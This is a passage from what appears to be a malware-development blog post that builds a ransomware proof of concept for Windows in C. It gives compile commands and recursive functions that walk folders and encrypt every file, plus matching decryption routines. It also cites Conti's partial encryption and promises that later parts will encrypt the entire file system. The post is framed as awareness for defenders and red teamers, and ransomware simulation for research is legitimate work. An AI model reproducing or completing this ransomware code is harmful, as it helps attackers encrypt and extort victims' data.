and decrypt it.
Letβs compile our PoC code:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Then just run it on Windows 10 x64 machine:
.\hack.exe
As a result, two new files test-enc.bin
and test-dec.txt
were created.
As we can see, everything is wokred perfectly! =^..^=
But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.
Also ransomware recursive encrypt folders, it might look something like this:
void handleFiles(const char* folderPath) {
WIN32_FIND_DATAA findFileData;
char searchPath[MAX_PATH];
sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);
HANDLE hFind = FindFirstFileA(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
printf("Error: %d\n", GetLastError());
return;
}
do {
const char* fileName = findFileData.cFileName;
if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
continue;
}
char filePath[MAX_PATH];
sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// Recursive call for subfolders
handleFiles(filePath);
} else {
// Process individual files
printf("file: %s\n", filePath);
char encryptedFilePath[MAX_PATH];
sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
encrypt_file(filePath, encryptedFilePath);
}
} while (FindNextFileA(hFind, &findFileData) != 0);
FindClose(hFind);
}
As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:
void decryptFiles(const char* folderPath) {
WIN32_FIND_DATAA findFileData;
char searchPath[MAX_PATH];
sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);
HANDLE hFind = FindFirstFileA(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
printf("error: %d\n", GetLastError());
return;
}
do {
const char* fileName = findFileData.cFileName;
if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
continue;
}
char filePath[MAX_PATH];
sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// Recursive call for subfolders
decryptFiles(filePath);
} else {
// Process individual files
if (strstr(fileName, ".bin") != NULL) {
printf("File: %s\n", filePath);
char decryptedFilePath[MAX_PATH];
sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
decrypt_file(filePath, decryptedFilePath);
}
}
} while (FindNextFileA(hFind, &findFileData) != 0);
FindClose(hFind);
}
Letβs see everything in action, compile our PoC code:
x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Then just run it on Windows 10 x64 machine:
.\hack.exe
Letβs check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted
:
As you can see our simple PoC is worked perfectly.
Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.
In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.
I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.
Madryga
Malware AV/VM evasion part 13
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine